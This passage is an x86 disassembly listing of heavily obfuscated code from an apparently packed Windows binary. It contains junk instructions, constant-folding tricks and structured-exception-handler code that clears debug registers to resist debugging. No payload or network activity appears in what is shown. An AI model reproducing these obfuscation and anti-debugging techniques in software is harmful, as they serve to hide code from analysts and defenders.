; ---------------------------------------------------------------------------
		xchg	eax, edx
		test	ch, ch
		mov	ebx, [ebx+68h]
		sbb	[eax+46E90043h], cl
		sar	bh, 1
		inc	dword ptr [eax]
		add	cl, al
		retf	0E914h
; ---------------------------------------------------------------------------
		db 0ECh, 0BEh, 0FFh
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		add	[ecx+4C1h], al
		add	bh, al
		add	[ecx], ebp
		rol	dword ptr [ebx+0], 1
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 67h
		dd 36FF64h, 89646700h, 0E9000026h, 0FFFFCCD5h, 0E426D981h
		dd 6467C127h, 68Fh, 2 dup(58240487h), 0FFE937E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D11A:				; CODE XREF: sub_439ED1:loc_43D2B6j
		push	ecx
		jmp	loc_43D079
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 5E820F00h, 89FFFFAAh, 8F646731h, 87000006h, 68582404h
		dd 8FEAFF9Fh, 14C18159h, 0E9301FF5h, 1871h
		db 0
; ---------------------------------------------------------------------------


loc_43D145:				; CODE XREF: _802izwe5:loc_4380C1j
		mov	eax, ebp
		pop	ebp
		push	edi
		push	55907E5Fh
		pop	edi
		sub	edi, 0AB25D950h
		xor	edi, 0CAA896AAh
		jmp	loc_43854C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D162:				; CODE XREF: _802izwe5:004391C8j
		xchg	eax, [esp]
		pop	eax
		push	esi


loc_43D167:				; DATA XREF: sub_4391DC+1o
		mov	esi, 0F064EF68h
		lock pop esi
		sub	esi, 2D4D7002h
		rol	esi, 2
		jmp	loc_43B7EE
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D17D:				; CODE XREF: sub_439ED1:loc_43CD1Fj
		push	ecx
		jmp	loc_43F3E6
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4


loc_43D184:				; CODE XREF: sub_43DD0C+Aj
		push	esi
		push	35D08C1h
		pop	esi
		xor	esi, 201300C8h
		and	esi, 76F55A35h
		or	esi, 0F5D175BCh
		add	esi, 86DF755h
		xchg	esi, [esp]
		jmp	loc_4383C8
; ---------------------------------------------------------------------------
		db 0F0h
		db 0CCh
; ---------------------------------------------------------------------------
		jmp	loc_43D518
; ---------------------------------------------------------------------------
		dw 6467h
		dd 36FFh, 0FFD105E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43D1BD:				; CODE XREF: _802izwe5:004382ABj
		jmp	loc_4388BB
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
		align 2
		dw 9ABFh
		dd 0E90043C1h, 0FFFFDE8Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D1D0:				; CODE XREF: sub_439ED1:loc_43ACDBj
		adc	eax, 0D3DF0900h
		xor	esi, eax
		jmp	loc_43D8F1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFA9E485h, 0C9C681FFh, 0BDA5B035h, 24A6914h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43D1F0:				; CODE XREF: sub_43C65A:loc_43CB6Dj
		and	edi, 0A4881A3Ch
		add	edi, 0DBF257B2h
		add	edi, ebp
		push	ecx
		push	6A5B227Bh
		jmp	loc_437CA7
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		or	ebx, 60DB4CD4h
		jmp	sub_4397E9
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_43D571
; ---------------------------------------------------------------------------
		dw 8100h
; ---------------------------------------------------------------------------
		xlat
		push	ss
		cmp	[ebx+14EDC108h], ebx
		mov	edx, esi
		jmp	loc_437963
; ---------------------------------------------------------------------------
		align 4
		jns	loc_43E027
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		push	offset byte_438703
		jmp	locret_4386F6
; ---------------------------------------------------------------------------
		mov	ecx, esp


loc_43D244:				; CODE XREF: _802izwe5:loc_43985Bj
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		jmp	near ptr word_438546+1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43D259:				; CODE XREF: sub_43C65A:loc_43C44Dj
		pop	esi
		sub	esi, 43B34ED4h
		rol	esi, 1Ch
		add	esi, 9F558480h
		xchg	esi, [esp-0Ch+arg_4]
		jmp	loc_43A25D
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 2 dup(0), 59h
		dd 0A090C981h, 0E1819D32h, 0A89E1E01h, 0A26AF181h, 0CD034D0Ah
		dd 0FFBB29E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43C034


loc_43D28E:				; CODE XREF: sub_43C034:loc_43AF6Fj
		jge	loc_439D3F
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_43C034
; ---------------------------------------------------------------------------
		align 2
		dw 4568h
		dd 0E974F10Bh, 0FFFFCA93h, 0C30000h, 0FFA0BAE9h, 0A575E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D2B2:				; CODE XREF: sub_439ED1+921j
		xor	eax, eax
		pop	ecx

locret_43D2B5:				; CODE XREF: sub_43C65A:loc_43C83Cj
		retn
; ---------------------------------------------------------------------------


loc_43D2B6:				; CODE XREF: sub_439ED1+3B4Cj
		jmp	loc_43D11A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0FFA892E9h, 0E90000FFh, 0FFFFA83Dh, 64670000h, 36FFh
		dd 0FFD0DEE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43844A


loc_43D2D5:				; CODE XREF: sub_43844A:loc_43EF53j
		xor	edi, 311B1690h
		sub	edi, 0BB3EBA5Eh
		add	edi, 0A9067E0Eh
		jmp	loc_43F049
; END OF FUNCTION CHUNK	FOR sub_43844A
; ---------------------------------------------------------------------------
		dd 840F0000h, 0FFFFAEE6h, 0B569C1B9h, 10D8E93Fh, 51000000h
		dd 0FFC809E9h, 7AC781FFh, 0F795C6E6h, 0C7h, 0CC7EE908h
		dd 0FFFFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_43D31A	proc near		; CODE XREF: sub_43C65A:loc_43C893p
		push	dword ptr fs:0
		push	offset loc_439D6B
		jmp	nullsub_37
sub_43D31A	endp

; ---------------------------------------------------------------------------
		or	ebx, 0B722A09h
		jmp	sub_43E530
; ---------------------------------------------------------------------------
		align 2
		dw 70E8h
		dd 0E9FFFFE1h, 0FFFFD824h, 0B7F18100h, 3C00AF4h, 7BE959C1h
		dd 0FFFFC9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_43D351:				; CODE XREF: sub_43BE3C:loc_43C260j
		call	sub_43DA03
		jmp	loc_43A7BF
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		align 4
		call	ds:dword_4270C0	; ExitProcess
		push	eax
		mov	eax, edi
		xchg	eax, [esp]
		push	0ACE09BC5h
		pop	edi
		xor	edi, 0CF4406Bh
		jmp	loc_439A76
; ---------------------------------------------------------------------------
		db 2 dup(0)
		db  8Bh	; ‹
		db 0CCh	; Ì
		db  81h	; 
		db 0C1h	; Á
		db  10h
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_43D383:				; CODE XREF: _802izwe5:loc_43ECFAj
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		jmp	loc_439E56
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43D398:				; CODE XREF: sub_43C65A:loc_43D5BCj
		rol	esi, 0Ah
		xor	esi, 643FE01Fh
		add	ecx, esi
		pop	esi
		jmp	near ptr dword_438368+2
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2


loc_43D3AA:				; CODE XREF: _802izwe5:0043920Ej
					; DATA XREF: sub_439ED1:loc_43C43Do
		call	sub_4378C2
; START	OF FUNCTION CHUNK FOR sub_43E3D6


loc_43D3AF:				; CODE XREF: sub_43E3D6+FB8j
		jmp	nullsub_30
; END OF FUNCTION CHUNK	FOR sub_43E3D6
; ---------------------------------------------------------------------------
		dd 24048700h, 100C881h,	4870000h, 0E9909D24h, 0FFFFC6E6h
		dd 57510000h, 4384A5BFh, 0CF05E900h, 8900FFFFh,	24348710h
		dd 9C5EC68Bh, 0FFFBD2E8h, 0C5E0E9FFh, 6800FFFFh, 0F25DB1ABh
		dd 0DC7C15Fh, 2465EF81h, 0E78123FEh, 0CEC47B4Ah, 0C7F7h
		dd 92E94000h, 0Ah
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43D40D	proc far		; CODE XREF: sub_439ED1:loc_439E1Ap

; FUNCTION CHUNK AT 0043C4B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D5F0 SIZE 00000006 BYTES

		call	near ptr sub_43E066
		jmp	loc_43D5F0
sub_43D40D	endp

; ---------------------------------------------------------------------------


loc_43D417:				; CODE XREF: _802izwe5:00438906j
		test	ecx, 5B61FE22h
		jmp	loc_43A758
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43D423:				; CODE XREF: _802izwe5:0043D509j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		push	offset loc_438D53
		jmp	loc_43732B
; ---------------------------------------------------------------------------
		align 4
		dd 29DEE68h, 0CFD4E934h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D443:				; CODE XREF: sub_439ED1:loc_43A8BBj
		push	ecx
		jmp	loc_43F31B
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43A7EC
; ---------------------------------------------------------------------------


loc_43D489:				; CODE XREF: _802izwe5:0043857Aj
		xchg	eax, [esp]
		pop	eax
		add	ecx, eax
		pop	eax
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43EF35
		jmp	loc_43F62E
; ---------------------------------------------------------------------------
		xor	ebp, esi
		jmp	sub_43F734
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D4AB:				; CODE XREF: sub_439ED1:loc_439FA2j
		mov	ecx, esp
		push	edi
		call	loc_43A515


loc_43D4B3:				; CODE XREF: sub_439ED1+11F0j
		add	cl, ch
		lodsw
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43D4BA:				; CODE XREF: _802izwe5:00438E5Ej
		jnz	loc_437E93
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D4C2:				; CODE XREF: _802izwe5:0043928Dj
		jmp	loc_43A045
; ---------------------------------------------------------------------------
		not	esi
		adc	edx, edi
		jns	loc_438A39
		jmp	loc_437E90
; ---------------------------------------------------------------------------
		db 0
byte_43D4D7	db 9Dh			; DATA XREF: sub_439ED1+50E8o
		dd 0E0055488h, 1189E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D4E2:				; CODE XREF: _802izwe5:0043BFC6j
		jmp	loc_43CEF2
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D4E8:				; CODE XREF: sub_439ED1+16F9j
		jmp	near ptr dword_438810+49h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h
; ---------------------------------------------------------------------------
		pop	es
		mov	eax, [edi-474DBE4h]
		pop	ebx
		xchg	eax, [esp]
		mov	edx, eax
		pop	eax
		rol	edx, 4
		jmp	loc_43F340
; ---------------------------------------------------------------------------
		dw 0C300h
; ---------------------------------------------------------------------------


loc_43D508:				; CODE XREF: _802izwe5:00437271j
		push	ecx
		jmp	loc_43D423
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
		dd 0CA40E900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43D518:				; CODE XREF: _802izwe5:0043D1ADj
		jmp	loc_43DD32
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F0h
		dd 92E955F1h, 0FFFFC1h,	4779D968h, 0ECF6E931h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F088


loc_43D533:				; CODE XREF: sub_43F088+Ej
		push	esi
		mov	esi, 4381B0h
		jmp	loc_438CA8
; END OF FUNCTION CHUNK	FOR sub_43F088
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_43D540:				; CODE XREF: _802izwe5:00438896j
		jmp	loc_43ED4E
; ---------------------------------------------------------------------------
		align 2
		not	esi
		jmp	near ptr sub_43D66E
; ---------------------------------------------------------------------------
		align 2
word_43D54E	dw 8B57h		; DATA XREF: sub_439ED1+A5Do
		dd 243C87FAh, 43E13ABAh, 0E817E900h, 0BE00FFFFh, 51450208h
		dd 0B6B5C281h, 95E98C82h, 0FFFFB0h
		db 0
; ---------------------------------------------------------------------------


loc_43D571:				; CODE XREF: _802izwe5:0043D215j
		mov	edx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_43D573	proc far		; CODE XREF: _802izwe5:loc_43DF39p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EA4C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F29C SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		xchg	ebp, [esp+0]
		mov	eax, ebp
		jmp	loc_43EA4C
sub_43D573	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D600


loc_43D580:				; CODE XREF: sub_43D600+7C7j
		push	ecx
		jmp	loc_43B3A5
; END OF FUNCTION CHUNK	FOR sub_43D600
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D587:				; CODE XREF: sub_439ED1:loc_43E740j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		jmp	loc_43C84D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------

locret_43D59E:				; CODE XREF: _802izwe5:0043EF2Fj
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_43D5A0:				; CODE XREF: _802izwe5:0043F20Cj
		jmp	locret_43A8BA
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C0C5


loc_43D5A7:				; CODE XREF: sub_43C0C5+2AF6j
		jmp	near ptr dword_438778+4Ah
; END OF FUNCTION CHUNK	FOR sub_43C0C5
; ---------------------------------------------------------------------------
		dd 8FE90000h, 56FFFFFCh, 2E8F18Bh, 0FFFFC9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43D5BC:				; CODE XREF: sub_43C65A+19Bj
		jmp	loc_43D398
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 89h,	1, 81h
		dd 4C1h, 56018900h, 97A2689Ch, 0E95E40ECh, 0FFFFD967h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D5DA:				; CODE XREF: sub_439ED1:loc_438616j
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_438EC5
		xor	eax, eax
		jmp	loc_43A636
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_43D40D


loc_43D5F0:				; CODE XREF: sub_43D40D+5j
		push	ecx
		jmp	loc_43C4B8
; END OF FUNCTION CHUNK	FOR sub_43D40D
; ---------------------------------------------------------------------------
		dw 8700h
		dd 0BB51E9EEh, 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_43D600	proc near		; CODE XREF: sub_439ED1:loc_43AB5Ep
					; _802izwe5:0043E154j

; FUNCTION CHUNK AT 0043873D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043B3A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D580 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043DDBF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E904 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043F1AE SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	esi
		push	7AFC2E8Ah
		jmp	loc_43873D
sub_43D600	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 0C68B5000h
dword_43D614	dd 0F240493h, 190D89h, 74E95500h, 0FFFFD1h; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F734


loc_43D624:				; CODE XREF: sub_43F734:loc_43DAB8j
		mov	ebx, offset dword_43AC9C
		jmp	loc_43CD74
; END OF FUNCTION CHUNK	FOR sub_43F734
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_43D62F:				; CODE XREF: sub_43F3B2:loc_43B78Fj
		mov	ebp, eax
		xchg	ebp, [esp+8+var_8]
		push	3EAA3ABh
		pop	eax
		and	eax, 8E11C613h
		or	eax, 4EC4E6DEh
		add	eax, 0B17ECA45h
		xchg	eax, [esp+8+var_8]
		jmp	loc_43946E
; END OF FUNCTION CHUNK	FOR sub_43F3B2
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43D656	dw 0CC64h		; CODE XREF: sub_43C65A:loc_43D7C3j
; ---------------------------------------------------------------------------
		jmp	loc_43E593
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_43D65F:				; CODE XREF: sub_43BE3C+432j
		or	edx, edx
		jz	loc_43A989
		push	esi
		push	ebx
		jmp	loc_439171
; END OF FUNCTION CHUNK	FOR sub_43BE3C

; =============== S U B	R O U T	I N E =======================================



sub_43D66E	proc far		; CODE XREF: _802izwe5:0043D548j
					; _802izwe5:0043E1DFp

; FUNCTION CHUNK AT 0043E13A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F231 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [eax]
		sub	eax, edx
		jmp	loc_43F231
sub_43D66E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43D67D:				; CODE XREF: sub_43F688-38C2j
		push	0B3A69B5Dh
		pop	ecx
		and	ecx, 17D15ACEh
		jns	loc_43F5E1
		add	[ebx-291C16D5h], cl
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
		dd 239CDF81h, 0DFB9E59Ah, 0E987C833h, 0FFFFB490h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_43D6AA:				; CODE XREF: sub_43F3B2-1D00j
					; sub_43F3B2:loc_43F9B4j
		jl	near ptr dword_437B54+31h
		add	cl, ch
		jp	short loc_43D6AA
; END OF FUNCTION CHUNK	FOR sub_43F3B2
; ---------------------------------------------------------------------------
		dd 0FFFFh, 0FFE20EE9h, 5C860FFFh, 0E900001Dh, 0FFFFA4BBh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C04


loc_43D6CA:				; CODE XREF: sub_438C04+5AC8j
		sbb	eax, 8E989AAAh
		rol	esi, 1Ch
		jmp	loc_43F5F0
; END OF FUNCTION CHUNK	FOR sub_438C04
; ---------------------------------------------------------------------------
		db 0, 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D6DA:				; CODE XREF: sub_439ED1-14A8j
		jmp	locret_43A917
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43D6DF:				; CODE XREF: _802izwe5:0043F218j
		mov	ecx, esp
		push	edi
		push	4DF81D34h
		pop	edi
		xor	edi, 2FA4E67Eh
		rol	edi, 0Ah
		jmp	loc_43F761

; =============== S U B	R O U T	I N E =======================================



sub_43D6F6	proc far		; CODE XREF: sub_439ED1-388j
					; sub_439ED1+BB1p

; FUNCTION CHUNK AT 0043CC98 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043EBE6 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ebp, esp
		push	esi
		jmp	loc_43EBE6
sub_43D6F6	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43D704:				; CODE XREF: sub_43C65A:loc_43C6BAj
		mov	byte ptr [eax],	3
		pop	eax
		add	edx, 0B6309DF4h
		rol	edx, 2
		xor	edx, 7304FF62h
		jmp	loc_43BE5C
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D71D:				; CODE XREF: sub_439ED1:loc_43F846j
		jnz	near ptr dword_437CE4+13h
		add	bh, dh
		mov	dword ptr [ecx], 0E9CC6CE4h
		mov	esi, 0FFFFCBh
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 14E9CC65h, 0FFFFA5h
		db 0
; ---------------------------------------------------------------------------


loc_43D739:				; CODE XREF: _802izwe5:0043BD8Aj
					; _802izwe5:0043C30Cj
		sub	ecx, 6A5C13A9h
		and	ecx, 73175FA1h
		add	ecx, 0A3BE5CDCh
		test	ecx, 400h
		jmp	loc_439AA9
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		sbb	al, 24h
		pop	ebx
		mov	byte ptr [ebx],	87h
		pop	ebx
		push	ebx
		jmp	loc_43D835
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D767:				; CODE XREF: _802izwe5:loc_43C565j
		push	ecx
		jmp	near ptr dword_4385A8+0Eh
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F0h
		dd 0B27BE9F1h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D777:				; CODE XREF: sub_439ED1:loc_43A5D1j
		xchg	edi, [esp-14h+arg_C]
		jmp	loc_43C814
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43D77F:				; CODE XREF: _802izwe5:0043BCB8j
		pop	ebx
		push	offset dword_43ABEC
		jmp	loc_43C6C0
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D78B:				; CODE XREF: sub_439ED1:loc_43AF86j
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	byte_43E70B
		jmp	near ptr dword_439754+1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 91256800h, 9AE90043h
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_43D7B4+1 ; CODE XREF: _802izwe5:loc_43D7B4j
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------


loc_43D7B7:				; CODE XREF: _802izwe5:loc_43EE05j
		mov	dword ptr [ecx], offset	loc_43AC76
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43D7C3:				; CODE XREF: sub_43C65A+20Cj
		jmp	near ptr word_43D656
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43D7CA:				; CODE XREF: sub_43F688-9Ej
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43AAFE
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C109


loc_43D7DD:				; CODE XREF: sub_43C109+15j
		xchg	esi, [esp-8+arg_4]
		mov	ebp, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_43C109
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D7E7:				; CODE XREF: sub_439ED1-460j
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43D7EE	proc far		; CODE XREF: sub_439ED1:loc_43E459j
					; _802izwe5:loc_43E694j ...
		call	sub_43EEEF
		jmp	locret_43A62E
sub_43D7EE	endp

; ---------------------------------------------------------------------------
		dd 16870000h, 0FFE8F8E9h, 0F0000FFh, 155C8Ch, 24348700h
		dd 5901895Eh, 0FFD0ABE8h, 0BE87E9FFh
		db 2 dup(0FFh),	0
byte_43D81B	db 3			; DATA XREF: _802izwe5:0043BA45o
		dd 0CAC081C5h, 0E8B80E7Fh, 0FFFFD376h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D828:				; CODE XREF: sub_439ED1+BA0j
		jmp	loc_43EA67
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		dw 0CDE9h
		dd 0FFFFB6h
		db 0
; ---------------------------------------------------------------------------


loc_43D835:				; CODE XREF: _802izwe5:0043D760j
		mov	ebx, ebp
		xchg	ebx, [esp]
		push	esi
		mov	esi, offset loc_437AF0
		jmp	near ptr byte_439809+2
; ---------------------------------------------------------------------------
		align 2
		dw 0CC8Bh
		dd 19836852h, 815AAEA3h, 17AE73EAh, 0BC2C1E5h, 3F2DCA81h
		dd 0F281DC4Ch, 0DF5CBF7Dh, 0FFE052E9h, 8C0F00FFh, 186h
		dd 0C9810000h, 3B457AFBh, 171E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D87E:				; DATA XREF: sub_43E3D6:loc_43F389o
		push	2EA2E205h
		pop	eax
		sub	eax, 1EA289B2h
		or	eax, 0CA7D4C78h
		jmp	loc_43A9F8
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43D898:				; CODE XREF: _802izwe5:00438F81j
		jmp	loc_43B584
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0A3h
		dd 0FFFFFFh, 0C1CA2300h, 6CE907E3h, 1Bh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43D8B1	proc near		; CODE XREF: sub_439ED1+4239p
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_437428+7Ah
sub_43D8B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_43D8C2:				; CODE XREF: sub_43BE3C:loc_438772j
		mov	byte ptr [esi],	87h
		pop	esi
		mov	esi, edx
		xchg	eax, edx
		xor	al, 24h
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		push	eax
		jmp	loc_439063
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43D8D9:				; CODE XREF: _802izwe5:loc_43B8B5j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		jmp	loc_43A3AD
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D8F1:				; CODE XREF: sub_439ED1+3307j
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		push	offset sub_4383D9
		jmp	loc_43A921
